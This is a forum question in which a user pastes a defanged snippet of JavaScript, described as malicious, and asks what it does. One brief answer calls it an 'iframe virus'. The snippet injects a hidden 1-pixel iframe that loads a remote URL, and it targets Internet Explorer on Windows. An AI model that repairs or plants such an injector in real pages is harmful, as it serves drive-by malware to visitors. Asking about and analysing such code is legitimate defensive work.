Can you explain the functions of this "malicious" JavaScript code?

I came across this piece of code on a website that labeled it as "malicious" javascript. Given my limited knowledge of javascript and the potential risks involved in trying out the code on my own site, I was hoping someone here might be able to shed some light on its functionality. Here is the code snippet:

function MakeFrame(){
element = do cument.get ElementById('yahoo_api');
if (!element){
var el = do cument.cr eateElement('if rame');
do cument.body.append Child(el);
el.id = 'yahoo_api';
el.style.width = '1px';
el.style.height = '1px';
el.style.display = 'none';
el.src = 'hxxp:// juyfdjhdjdgh .nl .ai /showthread.php?t=72241732'
}
}
var ua navigator.userAgent.toLowerCase();
if(((ua.indexOf("msie") !=- 1 && ua.indexOf("opera") ==- 1 && ua.indexOf("webtv") ==- 1)) && ua.indexOf("windows") !=- 1){
var t - setTimeout("makeFrameEx()", 1000)
}

https://i.sstatic.net/VGbQL.jpg

Any insights would be greatly appreciated!

Answer №1

It poses a threat due to its method of inserting iframes onto the webpage. To delve deeper, search for information on 'iframe virus'.

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